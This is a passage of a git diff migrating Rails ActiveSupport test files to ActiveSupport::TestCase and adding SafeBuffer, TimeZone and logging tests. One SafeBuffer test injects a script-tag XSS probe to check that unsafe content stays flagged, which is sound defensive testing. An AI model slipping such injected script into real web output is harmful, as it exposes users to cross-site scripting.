+          assert_nil number_helper.number_to_phone(nil)
+          assert_nil number_helper.number_to_currency(nil)
+          assert_nil number_helper.number_to_percentage(nil)
+          assert_nil number_helper.number_to_delimited(nil)
+          assert_nil number_helper.number_to_rounded(nil)
+          assert_nil number_helper.number_to_human_size(nil)
+          assert_nil number_helper.number_to_human(nil)
+        end
+      end
+
+      def test_number_helpers_do_not_mutate_options_hash
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          options = { 'raise' => true }
+
+          number_helper.number_to_phone(1, options)
+          assert_equal({ 'raise' => true }, options)
+
+          number_helper.number_to_currency(1, options)
+          assert_equal({ 'raise' => true }, options)
+
+          number_helper.number_to_percentage(1, options)
+          assert_equal({ 'raise' => true }, options)
+
+          number_helper.number_to_delimited(1, options)
+          assert_equal({ 'raise' => true }, options)
+
+          number_helper.number_to_rounded(1, options)
+          assert_equal({ 'raise' => true }, options)
+
+          number_helper.number_to_human_size(1, options)
+          assert_equal({ 'raise' => true }, options)
+
+          number_helper.number_to_human(1, options)
+          assert_equal({ 'raise' => true }, options)
+        end
+      end
+
+      def test_number_helpers_should_return_non_numeric_param_unchanged
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("+1-x x 123", number_helper.number_to_phone("x", :country_code => 1, :extension => 123))
+          assert_equal("x", number_helper.number_to_phone("x"))
+          assert_equal("$x.", number_helper.number_to_currency("x."))
+          assert_equal("$x", number_helper.number_to_currency("x"))
+          assert_equal("x%", number_helper.number_to_percentage("x"))
+          assert_equal("x", number_helper.number_to_delimited("x"))
+          assert_equal("x.", number_helper.number_to_rounded("x."))
+          assert_equal("x", number_helper.number_to_rounded("x"))
+          assert_equal "x", number_helper.number_to_human_size('x')
+          assert_equal "x", number_helper.number_to_human('x')
+        end
+      end
+
+      def test_extending_or_including_number_helper_correctly_hides_private_methods
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert !number_helper.respond_to?(:valid_float?)
+          assert number_helper.respond_to?(:valid_float?, true)
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/option_merger_test.rb b/activesupport/test/option_merger_test.rb
index 2bdd3034e5..9d139b61b8 100644
--- a/activesupport/test/option_merger_test.rb
+++ b/activesupport/test/option_merger_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/object/with_options'
 
-class OptionMergerTest < Test::Unit::TestCase
+class OptionMergerTest < ActiveSupport::TestCase
   def setup
     @options = {:hello => 'world'}
   end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index 0b5f912dc4..ac85ba1f21 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -3,7 +3,7 @@ require 'active_support/json'
 require 'active_support/core_ext/object/to_json'
 require 'active_support/core_ext/hash/indifferent_access'
 
-class OrderedHashTest < Test::Unit::TestCase
+class OrderedHashTest < ActiveSupport::TestCase
   def setup
     @keys =   %w( blue   green  red    pink   orange )
     @values = %w( 000099 009900 aa0000 cc0066 cc6633 )
@@ -81,24 +81,21 @@ class OrderedHashTest < Test::Unit::TestCase
     keys = []
     assert_equal @ordered_hash, @ordered_hash.each_key { |k| keys << k }
     assert_equal @keys, keys
-    expected_class = RUBY_VERSION < '1.9' ? Enumerable::Enumerator : Enumerator
-    assert_kind_of expected_class, @ordered_hash.each_key
+    assert_kind_of Enumerator, @ordered_hash.each_key
   end
 
   def test_each_value
     values = []
     assert_equal @ordered_hash, @ordered_hash.each_value { |v| values << v }
     assert_equal @values, values
-    expected_class = RUBY_VERSION < '1.9' ? Enumerable::Enumerator : Enumerator
-    assert_kind_of expected_class, @ordered_hash.each_value
+    assert_kind_of Enumerator, @ordered_hash.each_value
   end
 
   def test_each
     values = []
     assert_equal @ordered_hash, @ordered_hash.each {|key, value| values << value}
     assert_equal @values, values
-    expected_class = RUBY_VERSION < '1.9' ? Enumerable::Enumerator : Enumerator
-    assert_kind_of expected_class, @ordered_hash.each
+    assert_kind_of Enumerator, @ordered_hash.each
   end
 
   def test_each_with_index
@@ -114,9 +111,7 @@ class OrderedHashTest < Test::Unit::TestCase
     end
     assert_equal @values, values
     assert_equal @keys, keys
-
-    expected_class = RUBY_VERSION < '1.9' ? Enumerable::Enumerator : Enumerator
-    assert_kind_of expected_class, @ordered_hash.each_pair
+    assert_kind_of Enumerator, @ordered_hash.each_pair
   end
 
   def test_find_all
@@ -231,12 +226,8 @@ class OrderedHashTest < Test::Unit::TestCase
   end
 
   def test_alternate_initialization_raises_exception_on_odd_length_args
-    begin
+    assert_raises ArgumentError do
       ActiveSupport::OrderedHash[1,2,3,4,5]
-      flunk "Hash::[] should have raised an exception on initialization " +
-          "with an odd number of parameters"
-    rescue ArgumentError => e
-      assert_equal "odd number of arguments for Hash", e.message
     end
   end
 
@@ -296,21 +287,16 @@ class OrderedHashTest < Test::Unit::TestCase
     assert_equal @ordered_hash.values, @deserialized_ordered_hash.values
   end
 
-  begin
-    require 'psych'
-
-    def test_psych_serialize
-      @deserialized_ordered_hash = Psych.load(Psych.dump(@ordered_hash))
+  def test_psych_serialize
+    @deserialized_ordered_hash = Psych.load(Psych.dump(@ordered_hash))
 
-      values = @deserialized_ordered_hash.map { |_, value| value }
-      assert_equal @values, values
-    end
+    values = @deserialized_ordered_hash.map { |_, value| value }
+    assert_equal @values, values
+  end
 
-    def test_psych_serialize_tag
-      yaml = Psych.dump(@ordered_hash)
-      assert_match '!omap', yaml
-    end
-  rescue LoadError
+  def test_psych_serialize_tag
+    yaml = Psych.dump(@ordered_hash)
+    assert_match '!omap', yaml
   end
 
   def test_has_yaml_tag
diff --git a/activesupport/test/ordered_options_test.rb b/activesupport/test/ordered_options_test.rb
index b215b60df3..f60f9a58e3 100644
--- a/activesupport/test/ordered_options_test.rb
+++ b/activesupport/test/ordered_options_test.rb
@@ -1,6 +1,7 @@
 require 'abstract_unit'
+require 'active_support/ordered_options'
 
-class OrderedOptionsTest < Test::Unit::TestCase
+class OrderedOptionsTest < ActiveSupport::TestCase
   def test_usage
     a = ActiveSupport::OrderedOptions.new
 
@@ -76,4 +77,12 @@ class OrderedOptionsTest < Test::Unit::TestCase
     assert copy.kind_of?(original.class)
     assert_not_equal copy.object_id, original.object_id
   end
+
+  def test_introspection
+    a = ActiveSupport::OrderedOptions.new
+    assert a.respond_to?(:blah)
+    assert a.respond_to?(:blah=)
+    assert_equal 42, a.method(:blah=).call(42)
+    assert_equal 42, a.method(:blah).call
+  end
 end
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
index c28ffa50f2..3f8d09c18e 100644
--- a/activesupport/test/rescuable_test.rb
+++ b/activesupport/test/rescuable_test.rb
@@ -70,7 +70,7 @@ class CoolStargate < Stargate
 end
 
 
-class RescuableTest < Test::Unit::TestCase
+class RescuableTest < ActiveSupport::TestCase
   def setup
     @stargate = Stargate.new
     @cool_stargate = CoolStargate.new
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 8f77999d25..047b89be2a 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -1,9 +1,4 @@
 require 'abstract_unit'
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'active_support/core_ext/string/inflections'
 require 'yaml'
 
@@ -12,6 +7,10 @@ class SafeBufferTest < ActiveSupport::TestCase
     @buffer = ActiveSupport::SafeBuffer.new
   end
 
+  def test_titleize
+    assert_equal 'Foo', "foo".html_safe.titleize
+  end
+
   test "Should look like a string" do
     assert @buffer.is_a?(String)
     assert_equal "", @buffer
@@ -85,31 +84,60 @@ class SafeBufferTest < ActiveSupport::TestCase
     assert_equal "hello&lt;&gt;", clean + @buffer
   end
 
-  test "Should concat as a normal string when dirty" do
+  test "Should concat as a normal string when safe" do
     clean = "hello".html_safe
     @buffer.gsub!('', '<>')
     assert_equal "<>hello", @buffer + clean
   end
 
-  test "Should preserve dirty? status on copy" do
+  test "Should preserve html_safe? status on copy" do
     @buffer.gsub!('', '<>')
     assert !@buffer.dup.html_safe?
   end
 
-  test "Should raise an error when safe_concat is called on dirty buffers" do
+  test "Should return safe buffer when added with another safe buffer" do
+    clean = "<script>".html_safe
+    result_buffer = @buffer + clean
+    assert result_buffer.html_safe?
+    assert_equal "<script>", result_buffer
+  end
+
+  test "Should raise an error when safe_concat is called on unsafe buffers" do
     @buffer.gsub!('', '<>')
     assert_raise ActiveSupport::SafeBuffer::SafeConcatError do
       @buffer.safe_concat "BUSTED"
     end
   end
-  
-  test "should not fail if the returned object is not a string" do
+
+  test "Should not fail if the returned object is not a string" do
     assert_kind_of NilClass, @buffer.slice("chipchop")
   end
 
-  test "Should initialize @dirty to false for new instance when sliced" do
-    dirty = @buffer[0,0].send(:dirty?)
-    assert_not_nil dirty
-    assert !dirty
+  test "clone_empty returns an empty buffer" do
+    assert_equal '', ActiveSupport::SafeBuffer.new('foo').clone_empty
+  end
+
+  test "clone_empty keeps the original dirtyness" do
+    assert @buffer.clone_empty.html_safe?
+    assert !@buffer.gsub!('', '').clone_empty.html_safe?
+  end
+
+  test "Should be safe when sliced if original value was safe" do
+    new_buffer = @buffer[0,0]
+    assert_not_nil new_buffer
+    assert new_buffer.html_safe?, "should be safe"
+  end
+
+  test "Should continue unsafe on slice" do
+    x = 'foo'.html_safe.gsub!('f', '<script>alert("lolpwnd");</script>')
+
+    # calling gsub! makes the dirty flag true
+    assert !x.html_safe?, "should not be safe"
+
+    # getting a slice of it
+    y = x[0..-1]
+
+    # should still be unsafe
+    assert !y.html_safe?, "should not be safe"
   end
 end
diff --git a/activesupport/test/string_inquirer_test.rb b/activesupport/test/string_inquirer_test.rb
index 7f11f667df..94d5fe197d 100644
--- a/activesupport/test/string_inquirer_test.rb
+++ b/activesupport/test/string_inquirer_test.rb
@@ -1,15 +1,23 @@
 require 'abstract_unit'
 
-class StringInquirerTest < Test::Unit::TestCase
+class StringInquirerTest < ActiveSupport::TestCase
+  def setup
+    @string_inquirer = ActiveSupport::StringInquirer.new('production')
+  end
+
   def test_match
-    assert ActiveSupport::StringInquirer.new("production").production?
+    assert @string_inquirer.production?
   end
 
   def test_miss
-    assert !ActiveSupport::StringInquirer.new("production").development?
+    refute @string_inquirer.development?
   end
 
   def test_missing_question_mark
-    assert_raise(NoMethodError) { ActiveSupport::StringInquirer.new("production").production }
+    assert_raise(NoMethodError) { @string_inquirer.production }
+  end
+
+  def test_respond_to
+    assert_respond_to @string_inquirer, :development?
   end
 end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
index 17c4214dfc..0751c2469e 100644
--- a/activesupport/test/tagged_logging_test.rb
+++ b/activesupport/test/tagged_logging_test.rb
@@ -1,9 +1,9 @@
 require 'abstract_unit'
-require 'active_support/core_ext/logger'
+require 'active_support/logger'
 require 'active_support/tagged_logging'
 
 class TaggedLoggingTest < ActiveSupport::TestCase
-  class MyLogger < ::Logger
+  class MyLogger < ::ActiveSupport::Logger
     def flush(*)
       info "[FLUSHED]"
     end
@@ -18,7 +18,7 @@ class TaggedLoggingTest < ActiveSupport::TestCase
     @logger.tagged("BCX") { @logger.info "Funky time" }
     assert_equal "[BCX] Funky time\n", @output.string
   end
-  
+
   test "tagged twice" do
     @logger.tagged("BCX") { @logger.tagged("Jason") { @logger.info "Funky time" } }
     assert_equal "[BCX] [Jason] Funky time\n", @output.string
@@ -29,6 +29,11 @@ class TaggedLoggingTest < ActiveSupport::TestCase
     assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
   end
 
+  test "provides access to the logger instance" do
+    @logger.tagged("BCX") { |logger| logger.info "Funky time" }
+    assert_equal "[BCX] Funky time\n", @output.string
+  end
+
   test "tagged once with blank and nil" do
     @logger.tagged(nil, "", "New") { @logger.info "Funky time" }
     assert_equal "[New] Funky time\n", @output.string
diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb
index 756d21b3e4..c02bfa8497 100644
--- a/activesupport/test/test_case_test.rb
+++ b/activesupport/test/test_case_test.rb
@@ -18,44 +18,92 @@ module ActiveSupport
       end
     end
 
-    if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
-      def test_callback_with_exception
-        tc = Class.new(TestCase) do
-          setup :bad_callback
-          def bad_callback; raise 'oh noes' end
-          def test_true; assert true end
-        end
+    def test_standard_error_raised_within_setup_callback_is_puked
+      tc = Class.new(TestCase) do
+        def self.name; nil; end
 
-        test_name = 'test_true'
-        fr = FakeRunner.new
+        setup :bad_callback
+        def bad_callback; raise 'oh noes' end
+        def test_true; assert true end
+      end
+
+      test_name = 'test_true'
+      fr = FakeRunner.new
+
+      test = tc.new test_name
+      test.run fr
+      klass, name, exception = *fr.puked.first
 
-        test = tc.new test_name
-        test.run fr
-        klass, name, exception = *fr.puked.first
+      assert_equal tc, klass
+      assert_equal test_name, name
+      assert_equal 'oh noes', exception.message
+    end
+
+    def test_standard_error_raised_within_teardown_callback_is_puked
+      tc = Class.new(TestCase) do
+        def self.name; nil; end
 
-        assert_equal tc, klass
-        assert_equal test_name, name
-        assert_equal 'oh noes', exception.message
+        teardown :bad_callback
+        def bad_callback; raise 'oh noes' end
+        def test_true; assert true end
       end
 
-      def test_teardown_callback_with_exception
-        tc = Class.new(TestCase) do
-          teardown :bad_callback
-          def bad_callback; raise 'oh noes' end
-          def test_true; assert true end
-        end
+      test_name = 'test_true'
+      fr = FakeRunner.new
 
-        test_name = 'test_true'
-        fr = FakeRunner.new
+      test = tc.new test_name
+      test.run fr
+      klass, name, exception = *fr.puked.first
 
-        test = tc.new test_name
-        test.run fr
-        klass, name, exception = *fr.puked.first
+      assert_equal tc, klass
+      assert_equal test_name, name
+      assert_equal 'oh noes', exception.message
+    end
 
-        assert_equal tc, klass
-        assert_equal test_name, name
-        assert_equal 'oh noes', exception.message
+    def test_passthrough_exception_raised_within_test_method_is_not_rescued
+      tc = Class.new(TestCase) do
+        def self.name; nil; end
+
+        def test_which_raises_interrupt; raise Interrupt; end
       end
+
+      test_name = 'test_which_raises_interrupt'
+      fr = FakeRunner.new
+
+      test = tc.new test_name
+      assert_raises(Interrupt) { test.run fr }
+    end
+
+    def test_passthrough_exception_raised_within_setup_callback_is_not_rescued
+      tc = Class.new(TestCase) do
+        def self.name; nil; end
+
+        setup :callback_which_raises_interrupt
+        def callback_which_raises_interrupt; raise Interrupt; end
+        def test_true; assert true end
+      end
+
+      test_name = 'test_true'
+      fr = FakeRunner.new
+
+      test = tc.new test_name
+      assert_raises(Interrupt) { test.run fr }
+    end
+
+    def test_passthrough_exception_raised_within_teardown_callback_is_not_rescued
+      tc = Class.new(TestCase) do
+        def self.name; nil; end
+
+        teardown :callback_which_raises_interrupt
+        def callback_which_raises_interrupt; raise Interrupt; end
+        def test_true; assert true end
+      end
+
+      test_name = 'test_true'
+      fr = FakeRunner.new
+
+      test = tc.new test_name
+      assert_raises(Interrupt) { test.run fr }
     end
   end
 end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index f880052786..2473cec384 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -15,73 +15,64 @@ class AssertDifferenceTest < ActiveSupport::TestCase
     @object.num = 0
   end
 
-  if lambda { }.respond_to?(:binding)
-    def test_assert_no_difference
-      assert_no_difference '@object.num' do
-        # ...
-      end
+  def test_assert_no_difference
+    assert_no_difference '@object.num' do
+      # ...
     end
+  end
 
-    def test_assert_difference
-      assert_difference '@object.num', +1 do
-        @object.increment
-      end
+  def test_assert_difference
+    assert_difference '@object.num', +1 do
+      @object.increment
     end
+  end
 
-    def test_assert_difference_with_implicit_difference
-      assert_difference '@object.num' do
-        @object.increment
-      end
+  def test_assert_difference_with_implicit_difference
+    assert_difference '@object.num' do
+      @object.increment
     end
+  end
 
-    def test_arbitrary_expression
-      assert_difference '@object.num + 1', +2 do
-        @object.increment
-        @object.increment
-      end
+  def test_arbitrary_expression
+    assert_difference '@object.num + 1', +2 do
+      @object.increment
+      @object.increment
     end
+  end
 
-    def test_negative_differences
-      assert_difference '@object.num', -1 do
-        @object.decrement
-      end
+  def test_negative_differences
+    assert_difference '@object.num', -1 do
+      @object.decrement
     end
+  end
 
-    def test_expression_is_evaluated_in_the_appropriate_scope
-      silence_warnings do
-        local_scope = local_scope = 'foo'
-        assert_difference('local_scope; @object.num') { @object.increment }
-      end
+  def test_expression_is_evaluated_in_the_appropriate_scope
+    silence_warnings do
+      local_scope = local_scope = 'foo'
+      assert_difference('local_scope; @object.num') { @object.increment }
     end
+  end
 
-    def test_array_of_expressions
-      assert_difference [ '@object.num', '@object.num + 1' ], +1 do
-        @object.increment
-      end
+  def test_array_of_expressions
+    assert_difference [ '@object.num', '@object.num + 1' ], +1 do
+      @object.increment
     end
+  end
 
-    def test_array_of_expressions_identify_failure
+  def test_array_of_expressions_identify_failure
+    assert_raises(MiniTest::Assertion) do
       assert_difference ['@object.num', '1 + 1'] do
         @object.increment
       end
-      fail 'should not get to here'
-    rescue Exception => e
-      assert_match(/didn't change by/, e.message)
-      assert_match(/expected but was/, e.message)
     end
+  end
 
-    def test_array_of_expressions_identify_failure_when_message_provided
+  def test_array_of_expressions_identify_failure_when_message_provided
+    assert_raises(MiniTest::Assertion) do
       assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
         @object.increment
       end
-      fail 'should not get to here'
-    rescue Exception => e
-      assert_match(/something went wrong/, e.message)
-      assert_match(/didn't change by/, e.message)
-      assert_match(/expected but was/, e.message)
     end
-  else
-    def default_test; end
   end
 end
 
diff --git a/activesupport/test/testing/performance_test.rb b/activesupport/test/testing/performance_test.rb
new file mode 100644
index 0000000000..53073cb8db
--- /dev/null
+++ b/activesupport/test/testing/performance_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+require 'active_support/testing/performance'
+
+
+module ActiveSupport
+  module Testing
+    class PerformanceTest < ActiveSupport::TestCase
+      def test_amount_format
+        amount_metric = ActiveSupport::Testing::Performance::Metrics[:amount].new
+        assert_equal "0", amount_metric.format(0)
+        assert_equal "1", amount_metric.format(1.23)
+        assert_equal "40,000,000", amount_metric.format(40000000)
+      end
+
+      def test_time_format
+        time_metric = ActiveSupport::Testing::Performance::Metrics[:time].new
+        assert_equal "0 ms", time_metric.format(0)
+        assert_equal "40 ms", time_metric.format(0.04)
+        assert_equal "41 ms", time_metric.format(0.0415)
+        assert_equal "1.23 sec", time_metric.format(1.23)
+        assert_equal "40000.00 sec", time_metric.format(40000)
+        assert_equal "-5000 ms", time_metric.format(-5)
+      end
+
+      def test_space_format
+        space_metric = ActiveSupport::Testing::Performance::Metrics[:digital_information_unit].new
+        assert_equal "0 Bytes", space_metric.format(0)
+        assert_equal "0 Bytes", space_metric.format(0.4)
+        assert_equal "1 Byte", space_metric.format(1.23)
+        assert_equal "123 Bytes", space_metric.format(123)
+        assert_equal "123 Bytes", space_metric.format(123.45)
+        assert_equal "12 KB", space_metric.format(12345)
+        assert_equal "1.2 MB", space_metric.format(1234567)
+        assert_equal "9.3 GB", space_metric.format(10**10)
+        assert_equal "91 TB", space_metric.format(10**14)
+        assert_equal "910000 TB", space_metric.format(10**18)
+      end
+
+      def test_environment_format_without_rails
+        metric = ActiveSupport::Testing::Performance::Metrics[:time].new
+        benchmarker = ActiveSupport::Testing::Performance::Benchmarker.new(self, metric)
+        assert_equal "#{RUBY_ENGINE}-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL},#{RUBY_PLATFORM}", benchmarker.environment
+      end
+
+      def test_environment_format_with_rails
+        rails, version = Module.new, Module.new
+        version.const_set :STRING, "4.0.0"
+        rails.const_set :VERSION, version
+        Object.const_set :Rails, rails
+
+        metric = ActiveSupport::Testing::Performance::Metrics[:time].new
+        benchmarker = ActiveSupport::Testing::Performance::Benchmarker.new(self, metric)
+        assert_equal "rails-4.0.0,#{RUBY_ENGINE}-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL},#{RUBY_PLATFORM}", benchmarker.environment
+      ensure
+        Object.send :remove_const, :Rails
+      end
+    end
+  end
+end
\ No newline at end of file
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 3575175517..b9434489bb 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/time'
 
-class TimeZoneTest < Test::Unit::TestCase
+class TimeZoneTest < ActiveSupport::TestCase
   def test_utc_to_local
     zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
     assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
@@ -48,8 +48,8 @@ class TimeZoneTest < Test::Unit::TestCase
 
   def test_now
     with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns(Time.local(2000))
-      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'].dup
+      def zone.time_now; Time.local(2000); end
       assert_instance_of ActiveSupport::TimeWithZone, zone.now
       assert_equal Time.utc(2000,1,1,5), zone.now.utc
       assert_equal Time.utc(2000), zone.now.time
@@ -59,8 +59,11 @@ class TimeZoneTest < Test::Unit::TestCase
 
   def test_now_enforces_spring_dst_rules
     with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns(Time.local(2006,4,2,2)) # 2AM springs forward to 3AM
-      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'].dup
+      def zone.time_now
+        Time.local(2006,4,2,2) # 2AM springs forward to 3AM
+      end
+
       assert_equal Time.utc(2006,4,2,3), zone.now.time
       assert_equal true, zone.now.dst?
     end
@@ -68,8 +71,10 @@ class TimeZoneTest < Test::Unit::TestCase
 
   def test_now_enforces_fall_dst_rules
     with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns(Time.at(1162098000)) # equivalent to 1AM DST
-      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'].dup
+      def zone.time_now
+        Time.at(1162098000) # equivalent to 1AM DST
+      end
       assert_equal Time.utc(2006,10,29,1), zone.now.time
       assert_equal true, zone.now.dst?
     end
@@ -198,6 +203,24 @@ class TimeZoneTest < Test::Unit::TestCase
     assert_equal Time.utc(1999,12,31,19), twz.time
   end
 
+  def test_parse_should_not_black_out_system_timezone_dst_jump
+    zone = ActiveSupport::TimeZone['Pacific Time (US & Canada)']
+    zone.stubs(:now).returns(zone.now)
+    Time.stubs(:parse).with('2012-03-25 03:29', zone.now).
+                       returns(Time.local(0,29,4,25,3,2012,nil,nil,true,"+03:00"))
+    twz = zone.parse('2012-03-25 03:29')
+    assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0,6]
+  end
+
+  def test_parse_should_black_out_app_timezone_dst_jump
+    zone = ActiveSupport::TimeZone['Pacific Time (US & Canada)']
+    zone.stubs(:now).returns(zone.now)
+    Time.stubs(:parse).with('2012-03-11 02:29', zone.now).
+                       returns(Time.local(0,29,2,11,3,2012,nil,nil,false,"+02:00"))
+    twz = zone.parse('2012-03-11 02:29')
+    assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0,6]
+  end
+
   def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
     tzinfo = TZInfo::Timezone.get('America/New_York')
     zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
index 08e11d4f38..b5d8142458 100644
--- a/activesupport/test/transliterate_test.rb
+++ b/activesupport/test/transliterate_test.rb
@@ -1,9 +1,8 @@
 # encoding: utf-8
 require 'abstract_unit'
 require 'active_support/inflector/transliterate'
-require 'active_support/core_ext/object/inclusion'
 
-class TransliterateTest < Test::Unit::TestCase
+class TransliterateTest < ActiveSupport::TestCase
 
   def test_transliterate_should_not_change_ascii_chars
     (0..127).each do |byte|
@@ -16,7 +15,7 @@ class TransliterateTest < Test::Unit::TestCase
     # create string with range of Unicode"s western characters with
     # diacritics, excluding the division and multiplication signs which for
     # some reason or other are floating in the middle of all the letters.
-    string = (0xC0..0x17E).to_a.reject {|c| c.in?([0xD7, 0xF7])}.pack("U*")
+    string = (0xC0..0x17E).to_a.reject {|c| [0xD7, 0xF7].include?(c)}.pack("U*")
     string.each_char do |char|
       assert_match %r{^[a-zA-Z']*$}, ActiveSupport::Inflector.transliterate(string)
     end
diff --git a/activesupport/test/ts_isolated.rb b/activesupport/test/ts_isolated.rb
index 58710e0165..2c217157d3 100644
--- a/activesupport/test/ts_isolated.rb
+++ b/activesupport/test/ts_isolated.rb
@@ -1,17 +1,16 @@
-$:.unshift(File.dirname(__FILE__) + '/../../activesupport/lib')
-
-require 'test/unit'
+require 'minitest/autorun'
+require 'active_support/test_case'
 require 'rbconfig'
 require 'active_support/core_ext/kernel/reporting'
 
-class TestIsolated < Test::Unit::TestCase
+class TestIsolated < ActiveSupport::TestCase
   ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
 
   Dir["#{File.dirname(__FILE__)}/**/*_test.rb"].each do |file|
     define_method("test #{file}") do
       command = "#{ruby} -Ilib:test #{file}"
       result = silence_stderr { `#{command}` }
-      assert_block("#{command}\n#{result}") { $?.to_i.zero? }
+      assert $?.to_i.zero?, "#{command}\n#{result}"
     end
   end
 end
diff --git a/activesupport/test/whiny_nil_test.rb b/activesupport/test/whiny_nil_test.rb
deleted file mode 100644
index 1acaf7228f..0000000000
--- a/activesupport/test/whiny_nil_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# Stub to enable testing without Active Record
-module ActiveRecord
-  class Base
-    def save!
-    end
-  end
-end
-
-require 'abstract_unit'
-require 'active_support/whiny_nil'
-
-NilClass.add_whiner ::ActiveRecord::Base
-
-class WhinyNilTest < Test::Unit::TestCase
-  def test_unchanged
-    nil.method_thats_not_in_whiners
-  rescue NoMethodError => nme
-    assert_match(/nil:NilClass/, nme.message)
-  end
-
-  def test_active_record
-    nil.save!
-  rescue NoMethodError => nme
-    assert_no_match(/nil:NilClass/, nme.message)
-    assert_match(/nil\.save!/, nme.message)
-  end
-
-  def test_array
-    nil.each
-  rescue NoMethodError => nme
-    assert_no_match(/nil:NilClass/, nme.message)
-    assert_match(/nil\.each/, nme.message)
-  end
-
-  def test_id
-    nil.id
-  rescue RuntimeError => nme
-    assert_no_match(/nil:NilClass/, nme.message)
-    assert_match(Regexp.new(nil.object_id.to_s), nme.message)
-  end
-
-  def test_no_to_ary_coercion
-    nil.to_ary
-  rescue NoMethodError => nme
-    assert_no_match(/nil:NilClass/, nme.message)
-    assert_match(/nil\.to_ary/, nme.message)
-  end
-
-  def test_no_to_str_coercion
-    nil.to_str
-  rescue NoMethodError => nme
-    assert_match(/nil:NilClass/, nme.message)
-  end
-end
diff --git a/activesupport/test/xml_mini/jdom_engine_test.rb b/activesupport/test/xml_mini/jdom_engine_test.rb
index 7f809e7898..f77d78d42c 100644
--- a/activesupport/test/xml_mini/jdom_engine_test.rb
+++ b/activesupport/test/xml_mini/jdom_engine_test.rb
@@ -3,7 +3,7 @@ if RUBY_PLATFORM =~ /java/
   require 'active_support/xml_mini'
   require 'active_support/core_ext/hash/conversions'
 
-  class JDOMEngineTest < Test::Unit::TestCase
+  class JDOMEngineTest < ActiveSupport::TestCase
     include ActiveSupport
 
     def setup
diff --git a/activesupport/test/xml_mini/libxml_engine_test.rb b/activesupport/test/xml_mini/libxml_engine_test.rb
index 83d03bccc6..5debb2fd59 100644
--- a/activesupport/test/xml_mini/libxml_engine_test.rb
+++ b/activesupport/test/xml_mini/libxml_engine_test.rb
@@ -8,7 +8,7 @@ rescue LoadError
   # Skip libxml tests
 else
 
-class LibxmlEngineTest < Test::Unit::TestCase
+class LibxmlEngineTest < ActiveSupport::TestCase
   include ActiveSupport
 
   def setup
diff --git a/activesupport/test/xml_mini/libxmlsax_engine_test.rb b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
index 864810099e..94250d48ec 100644
--- a/activesupport/test/xml_mini/libxmlsax_engine_test.rb
+++ b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
@@ -8,7 +8,7 @@ rescue LoadError
   # Skip libxml tests
 else
 
-class LibXMLSAXEngineTest < Test::Unit::TestCase
+class LibXMLSAXEngineTest < ActiveSupport::TestCase
   include ActiveSupport
 
   def setup
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
index db0d7c5b02..3f37c7cbb6 100644
--- a/activesupport/test/xml_mini/nokogiri_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -8,7 +8,7 @@ rescue LoadError
   # Skip nokogiri tests
 else
 
-class NokogiriEngineTest < Test::Unit::TestCase
+class NokogiriEngineTest < ActiveSupport::TestCase
   include ActiveSupport
 
   def setup
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
index 1149d0fecc..d6ae7f12ae 100644
--- a/activesupport/test/xml_mini/nokogirisax_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -8,7 +8,7 @@ rescue LoadError
   # Skip nokogiri tests
 else
 
-class NokogiriSAXEngineTest < Test::Unit::TestCase
+class NokogiriSAXEngineTest < ActiveSupport::TestCase
